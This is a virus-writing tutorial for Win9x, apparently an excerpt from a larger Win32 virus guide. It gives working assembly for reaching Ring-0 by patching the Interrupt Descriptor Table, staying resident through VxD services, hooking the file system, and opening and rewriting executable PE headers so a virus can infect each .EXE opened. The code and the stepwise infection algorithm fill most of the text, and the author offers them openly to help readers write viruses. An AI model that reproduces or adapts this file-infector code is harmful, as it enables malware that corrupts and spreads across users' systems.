.------------------------. | Simple Ring-0 tutorial | Billy Belceb£/DDT '------------------------'

Well, this is a part of another document i'm writing now. This part is the part that talks about Ring-0 in my future Virus Writing Guide For Win32. As you can think, it'll be as my DOS Virus Writing Guide: huge :) Prepare for have another tute in your PC. Anyway, as it isn't finished yet, and i saw the lack of tutes about Ring-0 in the e-zines nowadays (well, ppl that knowz to code a Ring-0 seems too lazy for explain it) i stripped this text from my own guide, and i'm presenting it here :) Well, here you have it. Enjoy! ;)

% Introduction % ----------------

Freedom! Don't ya love it? In Ring-0 we are outside the laws, nothing is restricted here. Due to the incompetence of Micro$oft we have lotsa ways for jump to the level where we theorically must not be able to jump. But, at least we can jump to it in Win9X systems (and in NT, as i heard) :) The fool ppl at Micro$oft left unprotected the interrupt table, for example. This is a huge security fail in my eyes. But what the fuck, if we can code a virus using it, it's kewl! ;)

% Accessing Ring-0 % --------------------

Well, i'm gonna explain the simplest method under my viewpoint, that is, the IDT modification. The IDT (Interrupt Descriptor Table) ain't in a fixed address, so we must use an instruction for locate it, that is SIDT.

     -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú
     SIDT - Store Interrupt Descriptor Table (286+ privileged)
            Usage:  SIDT    dest
            Modifies flags: none
            Stores the Interrupt Descriptor Table (IDT) Register into the
            specified operand.
                                     Clocks                 Size
            Operands         808X  286   386   486          Bytes
            mem64              -    12    9     10            5

            0F 01 /1 SIDT m Store IDTR to m
     -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú

If after that ain't clear for what we use SIDT, it just puts the FWORD offset (WORD:DWORD format) of where the IDT is. And, if we know where the IDT is located, we can modify the interrupt vectors, and make them point to our code. That shows you the lameness of Micro$oft coderz. Let's continue our work. After changing vectors to point to our code (and save them for their later restore) we have only to call the interrupt we hooked. If it seems unclear for you now, there goes a little code that jumpz to Ring-0 by means of modifying the IDT.

    ;---[ CUT HERE ]-------------------------------------------------------------

            .586p                           ; Bah... simply for phun.
            .model  flat                    ; Hehehe i love 32 bit stuph ;)

    extrn   ExitProcess:PROC
    extrn   MessageBoxA:PROC

    Interrupt        equ     01h            ; Nothing special

            .data

     szTitle         db      "Ring-0 example",0
     szMessage       db      "I'm alive and kicking ass",0

     ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú;
     ; Well, this stuph is quite clear for you now, isn't it? :)                ;
     ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú;

            .code

     start:
            push    edx
            sidt    [esp-2]                 ; Interrupt table to stack
            pop     edx
            add     edx,(Interrupt*8)+4     ; Get interrupt vector

     ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú;
     ; This is preety simple. The SIDT, as i explained before, puts the address ;
     ; of the IDT in a memory address, and for our own simplycity, we use the   ;
     ; stack directly. That explains the POP that comes one instruction after,  ;
     ; that is supposed to load in the register where we POP (in this case EDX) ;
     ; the offset of the IDT. The line after is just for locate offset of the   ;
     ; interrupt we want. This is just as play with the IVT in DOS...           ;
     ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú;

            mov     ebx,[edx]
            mov     bx,word ptr [edx-4]     ; Whoot Whoot

     ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú;
     ; Preety simple. It just saves EDX content in EBX for later restore        ;
     ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú;

            lea     edi,InterruptHandler

            mov     [edx-4],di
            ror     edi,16                  ; Move MSW to LSW
            mov     [edx+2],di

     ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú;
     ; Had i said how many simple it is before? :) Here we out in EDI da offset ;
     ; of the new inteerupt handler, and the three lines after put that handler ;
     ; in the IDT. And why that ROR? Well, doesn't matter if ya use ROR, SHR or ;
     ; SAR, becoz it's just used for move  da MSW (More Significant Word) of da ;
     ; offset of the handler to the LSW (Less Significant Word), and then store ;
     ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú;

            push    ds                      ; Safety safety safety...
            push    es

            int     Interrupt               ; Ring-0 comez hereeeeeee!!!!!!!

            pop     es
            pop     ds

     ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú;
     ; Mmmm... interesting. I push DS and ES for security, preventing some rare ;
     ; fails, but it can work without it, believe me. As the interrupt is alre- ;
     ; and patched, there is nothing more to do now rather than put this int... ;
     ; AND WE ARE NOW IN RING0! The code continues in InterruptHandler label.   ;
     ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú;

            mov     [edx-4],bx              ; Restore old interrupt values
            ror     ebx,16                  ; ROR, SHR, SAR... who cares?
            mov     [edx+2],bx

     back2host:
            push    00000000h               ; Sytle of MessageBox
            push    offset szTitle          ; Title of MessageBox
            push    offset szMessage        ; The message itself
            push    00000000h               ; Handle of owner

            call    MessageBoxA             ; The API call itself

            push    00000000h
            call    ExitProcess
            ret

     ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú;
     ; Well, nothing more to do now besides restore the original Interrupt vec- ;
     ; tors, that we stored before in EBX. Kewl, isn't it? :) And then, we ret- ;
     ; urn code to the host. (Well, it's supposed to be that) ;)                ;
     ;-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú;

     InterruptHandler:
            pushad

            ; Here goez yer code :)

            popad
            iretd

     end start

    ;---[ CUT HERE ]-------------------------------------------------------------

[* I know there are many ways to access to Ring-0, but this part of my Virus Writing Guide for Win32 will have them all (at least the ones we know nowadays: IDT method (that below), VMM inserting and Call Gate technique) *]

Well, now we can access to it. I think all ppl could do it, but now comes the question that comes to the normal-VX when accessed Ring-0 for the first time: Why do i do now?.

% Virus coding under Ring-0 % -----------------------------

Well, i love to begin lessons with a little algorithm, so here you have one of what we should do when coding a Ring-0 virus.

     -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú
     1. Test for OS running: If NT, skip virus and return directly to host.
     2. Jump to Ring-0 (IDT, VMM inserting or Call Gate technique)
     3. Execute interrupt, that contains the infection code.
        3.1. Get a place where put the virus resident (Allocate pages or in heap)
        3.2. Move the virus to it
        3.3. Hook the File System and save the old hook
             3.3.1. In the FS Hook, first of all save all parameters and fix ESP.
             3.3.2. Push parameterz
             3.3.3. Then check if system  is trying to open a file, if not, skip.
             3.3.4. If it's trying  to open, first convert  file  name to asciiz.
             3.3.5. Then check if it's an EXE file. If it isn't, skip infection.
             3.3.6. Open, read header, manipulate, write it again, append & close
             3.3.7. Call to the old hook
             3.3.8. Skip all returned parameters in ESP
             3.3.9. Return
        3.4. Return
     4. Restore old interrupt vectors
     5. Return control to host
     -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú

The algorithm is a little bit large, anyway i could do it more general, but i prefer to go directly to the action. Ok, c'mon. Let's go.

Test OS when file running ------------------------'

Well, as there are some problems with da Ring-0 under NT (Super,solve them!) we must check the OS where we are, and return control to host if it's not a Win9X platform. Well, there are some ways to do it:

     - Use SEH
     - Check for the value in DS, for example.

Well, i suppose you know to play with SEH, right? I explained its usage in another article, so it's time to go and read it :) About the second possible thing to do, here is the code:

            mov     ax,ds
            cmp     ax,137h
            jb      back2host

Well, it' s supposed to be DS>137 in Win9X enviroments. Btw, as you have noticed, this last method does the job, but SEH is not only for that. So, SEH occupies more bytes and makes more functions, and this last method is more optimized. Just choose what you want.

Jump to Ring-0 and execute interrupt -----------------------------------'

Well, the simplest way is the explained in Accesing Ring-0 part of this doc, so i won't talk more about this here :)

We are now in Ring-0... what to do? ----------------------------------'

Well, in Ring-0 instead of APIs we have VxD services. The VxD services are accessed in this form:

            int     20h
            dd      vxd_service

The vxd_service is placed in 2 words, the MSW indicates the VxD number, and the LSW indicates the function we call from that VxD. For example i will use VMM_PageModifyPermissions value:

            dd      0001000Dh
                    '+++'+++--> Service  000Dh _PageModifyPermissions
                       '------> VxD      0001h VMM

So, for call it we must do something like this:

            int     20h
            dd      0001000Dh

Well, a very inteligent way of coding is to make a macro that do this automatic, and make the numbers to be in EQUates. But that's your choice. This values are fixed, so in Win95 and Win98 are the same. So don't worry, one of the good points that Ring-0 has is the fact that you don't need to search for an offset in kernel or something (as we made with APIs), because there is no need for it, must be hardcoded :)

Here i must note a VERY important thing that we should have clear when coding a Ring-0 virus: the int 20h and the address, the way i showed you to access to VxD functions, turns in memory to something like:

            call    dword ptr [VxD_Service] ; Call back to the service

Well, you can think that it is something silly, but it's very important and a real pain, because the virus gets copied to the host with those CALLs instead with the int and the dword of service's offset, and that makes the virus could only be executed in your own computer, not in another's :( Well, as all in life, this trouble has many solutions. One of them consists in, as Win95.Padania did, to create a procedure for fix it just after each VxD call. Another ways are: to make a table with all offsets to fix, do it dire- ctly, etc. Here goes my code, and you can see it implemented in my Garaipena virus:

     VxDFix:
            mov     ecx,VxDTbSz             ; Number of times to pass the routine
            lea     esi,[ebp+VxDTblz]       ; Pointer to table
     @lo0pz:lodsd                           ; Load current table offset in EAX
            mov     word ptr [ebp+eax],20CDh ; Put in that address
            mov     edx,dword ptr [ebp+eax+08h] ; Get VxD Service value
            mov     dword ptr [ebp+eax+02h],edx ; And restore it
            loop    @lo0pz                  ; Correct another
            ret

     VxDTblz        label   byte            ; Table with all offsets that have
            dd      (offset @@1)            ; a VxDCall.
            dd      (offset @@2)
            dd      (offset @@3)
            dd      (offset @@4)
            ; [...] all the rest of VxDCallz must be listed here :)

     VxDTbSz        equ     (($-offset VxDTblz)/4) ; Numbah of shitz

I hope you understood that every VxDCall we make must have its offset here. Oh, i almost forgot another important thing: how should your VxDCall macro look like if you are using my VxDFix procedure. Here you have:

     VxDCall macro  VxDService
            local   @@@@@@
            int     20h                     ; CD 20                 +00h
            dd      VxDService              ; XX XX XX XX           +02h
            jmp     @@@@@@                  ; EB 04                 +06h
            dd      VxDService              ; XX XX XX XX           +08h
     @@@@@@:
            endm

Ok. Now we need a place where go resident. I personally prefer in the net heap, because it is very simple to code (lazyness rules!).

     -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú
     **     IFSMgr_GetHeap - Allocate a chunk of the net heap

            This service is not valid until IFSMgr performs SysCriticalInit.

            This procedure uses the C6 386 _cdecl calling sequence

      Entry TOS - Size required
      Exit  EAX - address of heap chunk.  0 if failure
      Uses  C registers  (eax, ecx, edx, flags)
     -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú

Well, that was some Win95 DDK info. Let's put an example of this:

     InterruptHandler:
            pushad                          ; Push all reggies

            push    virus_size+1024         ; Memory we want (virus_size+buffer)
                                            ; As you maybe use buffers, better
                                            ; add more bytes to it.
     @@1:   VxDCall IFSMgr_GetHeap
            pop     ecx

Is it clear now? Well, as DDK says, it will return us 0 in EAX if it fails, so check for possible fails. The POP that comes after is VERY important, because most of the VxD services doesn't fix the stack, so the value we pushed before call the VxD function is still in stack.

            or      eax,eax                 ; cmp eax,0
            jz      back2ring3

If function was succesful, we have in EAX the address where we must move the virus body, so let's go.

            mov     byte ptr [ebp+semaphore],0 ; Coz infection puts it in 1

            mov     edi,eax                 ; Where move virus
            lea     esi,ebp+start           ; What to move
            push    eax                     ; Save memory address for later
            sub     ecx,1024                ; We move only virus_size
            rep     movsb                   ; Move virus to its TSR location ;)
            pop     edi                     ; Restore memory address

Well, we have the virus in a memory address, ready for be TSR, right? And we have in EDI the address where the virus beginz in memory, so we can use it as delta offset for the next function :) Ok, we now need to hook the File System, right? Ok, there is a function that does the job. Surprised, right? Micro$oft engineers made the dirty work for us.

     -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú
     **     IFSMgr_InstallFileSystemApiHook - install a filesystem api hook

            This service installs a filesystem api hook for the caller. This
            hook is between the IFS manager and a FSD. So, the hooker gets to see
            any calls that the IFS manager makes to FSDs.

            This procedure uses the C6 386 _cdecl calling sequence

            ppIFSFileHookFunc
                    IFSMgr_InstallFileSystemApiHook( pIFSFileHookFunc HookFunc )

      Entry TOS - Address of function that is to be installed as the hook

      Exit  EAX - Pointer to variable containing the address of the previous
                  hooker in this chain.
      Uses  C registers
     -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú

Is it clear? If not, i hope that you'd understand it seeing some code. Ok, let's hook FileSystem...

            lea     ecx,[edi+New_Handler]   ; (vir address in mem + handler offs)
            push    ecx                     ; Push it

     @@2:   VxDCall IFSMgr_InstallFileSystemApiHook ; Perform the call

            pop     ecx                     ; Don't forget this, guy
            mov     dword ptr [edi+Old_Handler],eax ; EAX=Previous hook

     back2ring3:
            popad
            iretd                           ; return to Ring-3. Yargh

Well, we have seen the "setup" part of the Ring-0 virus thingy. Now, we must code the FileSystem handler :) Is simple, but not as you thought? :)

FileSystem Handler: the real fun!!! ----------------------------------'

Yeah, here is where resides the infection itself, but we have to make some thingies before go for it. Well, first of all, we must make a security copy of stack, that is to save ESP content to EBP register. After it, we should substract 20h bytes to ESP, in order to fix the stack pointer. Let's see sum code:

     New_Handler equ  $-(offset virus_start)
     FSA_Hook:
            push    ebp                     ; Save EBP content 4 further restorin
            mov     ebp,esp                 ; Make a copy of ESP content in EBP
            sub     esp,20h                 ; And fix the stack

Now, as our function is called by the system with some parameters, we should push them, as the original handle would do. Parameters to push go from EBP+08h until EBP+1Ch, both included.

            push    dword ptr [ebp+1Ch]     ; Push'em all!!!!!!!! :)
            push    dword ptr [ebp+18h]
            push    dword ptr [ebp+14h]
            push    dword ptr [ebp+10h]
            push    dword ptr [ebp+0Ch]
            push    dword ptr [ebp+08h]

Now we have all the parameters that we should push in the right place, so don't worry more about them. Now we must check for the IFSFN function you would like to manage. Here you have a little list with the most important:

     -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú
     ** IFS Function IDs passed to IFSMgr_CallProvider

     IFSFN_READ         equ         00h     ; read a file
     IFSFN_WRITE        equ         01h     ; write a file
     IFSFN_FINDNEXT     equ         02h     ; LFN handle based Find Next
     IFSFN_FCNNEXT      equ         03h     ; Find Next Change Notify
     IFSFN_SEEK         equ         0Ah     ; Seek file handle
     IFSFN_CLOSE        equ         0Bh     ; close handle
     IFSFN_COMMIT       equ         0Ch     ; commit buffered data for handle
     IFSFN_FILELOCKS    equ         0Dh     ; lock/unlock byte range
     IFSFN_FILETIMES    equ         0Eh     ; get/set file modification time
     IFSFN_PIPEREQUEST  equ         0Fh     ; named pipe operations
     IFSFN_HANDLEINFO   equ         10h     ; get/set file information
     IFSFN_ENUMHANDLE   equ         11h     ; enum file handle information
     IFSFN_FINDCLOSE    equ         12h     ; LFN find close
     IFSFN_FCNCLOSE     equ         13h     ; Find Change Notify Close
     IFSFN_CONNECT      equ         1Eh     ; connect or mount a resource
     IFSFN_DELETE       equ         1Fh     ; file delete
     IFSFN_DIR          equ         20h     ; directory manipulation
     IFSFN_FILEATTRIB   equ         21h     ; DOS file attribute manipulation
     IFSFN_FLUSH        equ         22h     ; flush volume
     IFSFN_GETDISKINFO  equ         23h     ; query volume free space
     IFSFN_OPEN         equ         24h     ; open file
     IFSFN_RENAME       equ         25h     ; rename path
     IFSFN_SEARCH       equ         26h     ; search for names
     IFSFN_QUERY        equ         27h     ; query  resource info (network only)
     IFSFN_DISCONNECT   equ         28h     ; disconnect from resource (net only)
     IFSFN_UNCPIPEREQ   equ         29h     ; UNC path based named pipe operation
     IFSFN_IOCTL16DRIVE equ         2Ah     ; drive based 16 bit IOCTL requests
     IFSFN_GETDISKPARMS equ         2Bh     ; get DPB
     IFSFN_FINDOPEN     equ         2Ch     ; open an LFN file search
     IFSFN_DASDIO       equ         2Dh     ; direct volume access
     -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú

Well, for our first thingy, the only function that interests us is 24h, that is, open. System calls to that function almost everytime, so no problem with it. Code for this is as simply as you can imagine :)

            cmp     dword ptr [ebp+0Ch],24h ; Check if system opening file
            jnz     back2oldhandler         ; If not, skip and return to old h.

Now begins the fun. We know here that system is requesting for file opening, so it's now our time. First of all, we should check if we are processing our own call... Simple, just add a little variable and it'll do the job with any problem. Btw, i almost forgot, get delta offset :)

            pushad
            call    ring0_delta             ; Get delta offset of this
     ring0_delta:
            pop     ebx
            sub     ebx,offset ring0_delta

            cmp     byte ptr [ebx+semaphore],00h ; Are we the ones requesting
            jne     pushnback               ; the call?

            inc     byte ptr [ebx+semaphore] ; For avoid process our own calls
            pushad
            call    prepare_infection       ; We'll see this stuff later
            call    infection_stuff
            popad
            dec     byte ptr [ebx+semaphore] ; Stop avoiding :)

     pushnback:
            popad

Now i'll continue explaining about the handler itself, and after that i'll explain what i do in those routines, prepare_infection and infection_stuff. Well, we have just exit the routine we would process if the system was requesting a call, ok? Well, now we must code the routine that calls the old FileSystem hook. As you can remember (i assume you don't have alzheimer) we pushed all the parameters, so the only thing we should do now is to load in a register, doesn't matter what, the old address, and then call to that memory position. After that we add 18h to the ESP (for be able to get return address), and that's all. Well, you'll see it better with some code, so here you have:

     back2oldhandler:
            db      0B8h                    ; MOV EAX,imm32 opcode
     Old_Handler    equ  $-(offset virus_start)
            dd      00000000h               ; here goes the old handler.
            call    [eax]
            add     esp,18h                 ; Fix stack (6x4)
            leave                           ; 6 = num. paramz. 4 = dword size.
            ret                             ; Return

Infection preparations ---------------------'

Well, this is the aspect of the main brach of a Ring-0 code. Let's see now the Ring-0 coding details. Well, when we were in the hook handler, there were 2 calls, right? This is not required, but i made that for give more simplycity to the code, because i love to have things structured.

In the first call, that one i called prepare_infection, i only do one thing for only one reason. The name that system gave us the file name as parameter but we have one problem. System gave it to us in UNICODE, and it's unuseful by us as is. So, we need to convert that to ASCIIz, right? Well, we have a VxD service that does the job for us. Its name: UniToBCSPath. Here you have your beloved source code.

     prepare_infection:
            pushad                          ; Push all
            lea     edi,[ebx+fname]         ; Where to put ASCII file name
            mov     eax,[ebp+10h]
            cmp     al,0FFh
            jz      wegotdrive
            add     al,"@"                  ; Generate drive name
            stosb
            mov     al,":"                  ; Add a :
            stosb
     wegotdrive:
            xor     eax,eax
            push    eax                     ; EAX = 0 -> Convert to ASCII
            mov     eax,100h
            push    eax                     ; EAX = Size of string to convert
            mov     eax,[ebp+1Ch]
            mov     eax,[eax+0Ch]           ; EAX = Pointer to string
            add     eax,4
            push    eax
            push    edi                     ; Push offset to file name

     @@3:   VxDCall UniToBCSPath

            add     esp,10h                 ; Skip parameters returnet
            add     edi,eax
            xor     eax,eax                 ; Make string null-terminated
            stosb
            popad                           ; Pop all
            ret                             ; Return

The infection itself -------------------'

Well, here i'll tell you how to arrive just until the part you must adapt all the PE header and section header to the new values that infected file should have. But i won't explain how to manipulate them, not because i am lazy, just because this is a chapter for Ring-0 coding and not for PE infection. This part matches with the infection_stuff label in the code of the FileSystem hook. First we must check if the file we are about to manipulate is an .EXE or another uninteresting file. So first of all, we must search in the file name for the 0 value, that tells us the end of it. It is preety simple to code:

     infection_stuff:
            lea     edi,[ebx+fname]         ; Variable with the file name
     getend:
            cmp     byte ptr [edi],00h      ; End of filename?
            jz      reached_end             ; Yep
            inc     edi                     ; If not, search for another char
            jmp     getend
     reached_end:

We have now in EDI the 0 of the ASCIIz string, and as you know, it marks the end of the string, that is in this case, the file name. Well, now comes our main check, look if it is a .EXE file, and if it is not, skip infection. Well, we can also check for .SCR (Windows screensavers), and as you know, they are EXEcutables too... Well, it's your choice. Here you have some code:

            cmp     dword ptr [edi-4],"EXE." ; Look if extension is an EXE
            jnz     notsofunny

     As you  can see, i compared EDI-5. Understand it with a simple ASCIIz string
     example:

                       .-----> DWORD that we have to compare : "EXE."
                     .++.
     "C:\WINDOWS\SHIT.EXE",0
                     ||||  '-> EDI
                     |||'----> EDI-1
                     ||'-----> EDI-2
                     |'------> EDI-3
                     '-------> EDI-4

     Well, now we  know that file  is an EXE file :) So, is  time to  remove  its
     attributes, open  file, modify the  oportune fields, close file  and restore
     attributes. All those functions are  performed by  another IFS service, that
     is IFSMgr_Ring0_FileIO. I haven't found documentation about the whole thing,
     anyway there is  no need for it: within it  there are A LOT of functions, as
     i said  before, all functions  we need for  perform file infection  and such
     like. Let's take  a view to the  numerical values passed  in EAX  to the VxD
     service IFSMgr_Ring0_FileIO:

     -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú
     ; Function definitions on the ring 0 apis function list:
     ; NOTE: Most functions are context independent unless explicitly stated
     ; i.e. they do not use the current thread context. R0_LOCKFILE is the only
     ; exception - it always uses the current thread context.

     R0_OPENCREATFILE        equ     0D500h  ; Open/Create a file
     R0_OPENCREAT_IN_CONTEXT equ     0D501h  ; Open/Create file in current contxt
     R0_READFILE             equ     0D600h  ; Read a file, no context
     R0_WRITEFILE            equ     0D601h  ; Write to a file, no context
     R0_READFILE_IN_CONTEXT  equ     0D602h  ; Read a file, in thread context
     R0_WRITEFILE_IN_CONTEXT equ     0D603h  ; Write to a file, in thread context
     R0_CLOSEFILE            equ     0D700h  ; Close a file
     R0_GETFILESIZE          equ     0D800h  ; Get size of a file
     R0_FINDFIRSTFILE        equ     04E00h  ; Do a LFN FindFirst operation
     R0_FINDNEXTFILE         equ     04F00h  ; Do a LFN FindNext operation
     R0_FINDCLOSEFILE        equ     0DC00h  ; Do a LFN FindClose operation
     R0_FILEATTRIBUTES       equ     04300h  ; Get/Set Attributes of a file
     R0_RENAMEFILE           equ     05600h  ; Rename a file
     R0_DELETEFILE           equ     04100h  ; Delete a file
     R0_LOCKFILE             equ     05C00h  ; Lock/Unlock a region in a file
     R0_GETDISKFREESPACE     equ     03600h  ; Get disk free space
     R0_READABSOLUTEDISK     equ     0DD00h  ; Absolute disk read
     R0_WRITEABSOLUTEDISK    equ     0DE00h  ; Absolute disk write
     -ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú-ú

     Charming  functions, ain't them? :) If we  take a look, it  remembers us the
     DOS int 21h functions. But this is better :)

     Well, let's save  the old file  attributes. As you can see, this function is
     inside the list i gave you before. We pass this parameter (4300h) in EAX for
     obtain the file attributes, in ECX. So, after that, we push it, and the file
     name, that is in ESI.

            lea     esi,[ebx+fname]         ; Pointer to file name
            mov     eax,R0_FILEATTRIBUTES   ; EAX = 4300h
            push    eax                     ; Save it goddamit
            VxDCall IFSMgr_Ring0_FileIO     ; Get attributes
            pop     eax                     ; Restore 4300h from stack
            jc      notsofunny              ; Something went wrong (?)

            push    esi                     ; Push pointer to file name
            push    ecx                     ; Push attributes

     Now we  must wipe  them from the universe. No problem. The  function for set
     file  attributes is, as before  in IFSMgr_Ring0_FileIO, but now is 4301h. As
     you can see this value is just as in DOS :)

            inc     eax                     ; 4300h+1=4301h :)
            xor     ecx,ecx                 ; No attributes sucker!
            VxDCall IFSMgr_Ring0_FileIO     ; Set new attributes (wipe'em)
            jc      stillnotsofunny         ; Error (?!)

     We have  a file  without attributes waiting for us now... what should we do?
     Heh. I thought you were smarter. Let's open it! :) Well, as all in this part
     of the virus, we have to  call IFSMgr_Ring0_FileIO, but now passing to it in
     EAX the value for open files, that is D500h. The parameters of this function
     are equal to the ones in INT 21h's function 6C00h (extended open):

     EAX = R0_OPENCREATFILE = D500h
     EBX = Flags
     ECX = Create attribute
     EDX = Action to do if file exists/doesn't exist
     ESI = Pointer to file name

            lea     esi,[ebx+fname]         ; Put in ESI the file name
            mov     eax,R0_OPENCREATFILE    ; EAX = D500h
            xor     ecx,ecx                 ; ECX = 0
            mov     edx,ecx
            inc     edx                     ; EDX = 1
            mov     ebx,edx
            inc     ebx                     ; EBX = 2
            VxDCall IFSMgr_Ring0_FileIO
            jc      stillnotsofunny         ; Shit.

            xchg    eax,ebx                 ; Optimize a bit, sucka! :)

     Now we  have in EBX the handle of the opened file, so it would be perfect if
     you don't use this register  for anything until the file is closed, okay? :)
     Well, now it's your  time to read the PE  header of file, and store  it (and
     manipulate), then update the header, and append the virus... Well, here i'll
     only explain  how to arrive just to before the place where we have to handle
     properly  the PE header, because it  is another part  of the document, and i
     don't want to  be so much repetitive. Well, i'm gonna  explain how to put in
     our buffer the  PE header. It's preety easy: as  you remember, the PE header
     begin just  in the offset  pointed by 3Ch (from  BOF, ofc0z). Well, then  we
     must read 4 bytes (this DWORD in 3Ch), and read again in the offset where it
     points, and this time, 400h bytes, enough for handle the whole PE header. As
     you could imagine, the function for read in files is included in the wonderful IFSMgr_Ring0_FileIO, and you  can see the right function  number in  the
     table  i gave  you  before, in  R0_READFILE. The  parameters passed  to this
     function are the following:

     EAX = R0_READFILE = D600h
     EBX = File Handle
     ECX = Number of bytes to read
     EDX = Offset where we should read
     ESI = Where will go the read bytes

            call    inf_delta               ; If you  remember, we  had the delta
    inf_delta:                              ; offset in EBX, but  after open  the
            pop     ebp                     ; file we have in EBX the file handle
            sub     ebp,offset inf_delta    ; so we have to calculate it again.

            mov     eax,R0_READFILE         ; D600h
            push    eax                     ; Save it for later
            mov     ecx,4                   ; Bytes to read, a DWORD
            mov     edx,03Ch                ; Where read (BOF+3Ch)
            lea     esi,[ebp+pehead]        ; There goez the PE header offzet
            VxDCall IFSMgr_Ring0_FileIO     ; The VxDCall itself

            pop     eax                     ; restore R0_READFILE from stack

            mov     edx,dword ptr [ebp+pehead] ; Where the PE header begins
            lea     esi,[ebp+header]        ; Where write the read PE header
            mov     ecx,400h                ; 1024 bytes, enough for all PE head.
            VxDCall IFSMgr_Ring0_FileIO

     Now we  have to see if the file  we have just opened is a PE file, by seeing
     its marker. We have  in ESI the pointer  to the  buffer  where we put the PE
     header, so just  compare the first  DWORD in ESI for PE,0,0 (or simply PE by
     using WORD comparison) ;)

            cmp     dword ptr [esi],"EP"    ; Is it PE?
            jnz     muthafucka

     Now you check  for your  previous infection, and if it was previously infected, just go to the precedures for close file and such like. As i said before, i will  skip the code of  modificating PE header, as it  is assumed that
     you know  how to do it. Well, imagine  you have  already modificated  the PE
     header properly  in the  buffer (in my code, the variable is called header).
     It's time to  write the new header in the PE file. The values that the registers should have are moreless  the same than in R0_READFILE function. Well,
     anyway i'm gonna write them:

     EAX = R0_WRITEFILE = D601h
     EBX = File Handle
     ECX = Number of bytes to write
     EDX = Offset where we should write
     ESI = Offset of the bytes we want to write

